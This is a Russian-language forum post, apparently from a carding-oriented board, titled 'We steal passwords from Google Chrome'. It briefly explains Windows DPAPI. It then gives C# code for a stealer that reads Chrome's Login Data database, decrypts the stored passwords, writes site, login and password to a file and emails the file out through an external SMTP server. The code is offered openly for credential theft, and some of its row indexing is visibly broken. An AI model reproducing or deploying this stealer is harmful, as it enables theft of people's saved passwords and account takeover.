Залив на карту
  1. Внимание дорогие участники форума. Если увидите на форуме мошенника, спам, реклама, обман, оскорбления, любой развод и тем более все что связано с наркотическими веществами. . Если заметите что-либо подобное просьба отписаться администрации форума. Либо нажимайте кнопку пожаловаться. И я сразу отреагирую. Тем и сообщений много все не уследишь.С вашей помощью наведем порядок.

Воруем Пароли Из Google Chrome

Тема в разделе "Софт | Инструменты", создана пользователем Kven, 28 апр 2018.

  1. Kven

    Kven Guest

    Воруем пароли из Google Chrome

    Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.

    Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.



    Мастер – ключ - это комбинация следующих элементов:

    SID — уникальный идентификатор безопасности.

    HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).

    PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.

    MasterKey BLOB — это как раз данные с зашифрованным ключом.

    Подробнее почитать тут Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!



    Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.

    Давайте напишем такой стиллер.



    Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:



    string fileDb = @"C:/Users/Adminka/AppData/Local/Google/Chrome/User Data/Default/Login Data"; // Путь к логин данным

    string connectionString = $"Data Source = {fileDb}";

    string fileName = @"C:/Temp/output.txt"; // Выходной файл с паролями

    StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);

    string dbWay = "Login Data";

    string db_fields = "logins"; // база паролей SQLITE

    byte[] entropy = null;

    string description;



    DataTable db = new DataTable();

    string sql = $"SELECT * FROM {db_fields}";

    using (SQLiteConnection connection = new SQLiteConnection(connectionString))

    {

    SQLiteCommand command = new SQLiteCommand(sql, connection);

    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);

    adapter.Fill(db);

    }



    int rows = db.Rows.Count;

    Console.WriteLine($"Всего записей: {rows}");



    for (int i = 0; i < rows; i++)

    {

    string url = db.Rows[1].ToString();

    string login = db.Rows[3].ToString();

    byte[] byteArray = (byte[])db.Rows[5];

    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);

    string password = new UTF8Encoding(true).GetString(decrypted);

    sw.WriteLine("----------------------------");

    sw.WriteLine($"Номер: {i}");

    sw.WriteLine($"Сайт: {url}");

    sw.WriteLine($"Логин: {login}");

    sw.WriteLine($"Пароль: {password}");

    }

    sw.Close();



    MailSend.SendMail("smtp.mail.ru", "[email protected]", "password", "[email protected]", "Пароли", fileName, fileName);

    Console.ReadKey();



    Код класса DPAPI Взят отсюда Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!





    *************************************************************************
     
Залив на карту